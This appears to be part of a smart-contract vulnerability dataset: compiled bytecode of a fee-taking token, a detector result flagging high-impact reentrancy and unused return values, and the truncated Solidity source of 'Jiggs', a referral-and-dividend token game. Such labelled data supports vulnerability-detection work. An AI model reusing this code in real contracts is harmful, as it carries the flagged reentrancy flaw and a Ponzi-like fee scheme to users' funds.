00000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f554c5155494f525241494e550000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f81905550671bc16d674ec800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600c600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600c600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dff6ba4cd9f0c1049c4c1c91bb3e6baf3a2f46a6b775a8c1cb64b6fcfad4c6e764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,573 |
0x6bacca3cce57a46fd0822df7c07afbf9d81d96d9
|
pragma solidity ^0.4.20;
/*
J.I.G.G.S
*/
contract Jiggs {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "The Jigsaw Games";
string public symbol = "Jiggs";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 25;
uint8 constant internal refferalFee_ = 60;
uint8 constant internal exitFee_ = 25;
uint256 constant internal tokenPriceInitial_ = 0.000000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000003 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 175e18;
// referral program
mapping(address => uint256) internal referrals;
mapping(address => bool) internal isUser;
address[] public usersAddresses;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/* Converts all of caller's dividends to tokens. */
function reinvest() onlyStronghands() public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/* Alias of sell() and withdraw(). */
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/* Withdraws all of the callers earnings. */
function withdraw() onlyStronghands() public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/* Liquifies tokens to ethereum. */
function sell(uint256 _amountOfTokens) onlyBagholders() public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/* Transfer tokens from the caller to a new holder. * No fee! */
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
// setup
address _customerAddress = msg.sender;
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function referralsOf(address _customerAddress)
public
view
returns(uint256)
{
return referrals[_customerAddress];
}
function totalUsers()
public
view
returns(uint256)
{
return usersAddresses.length;
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
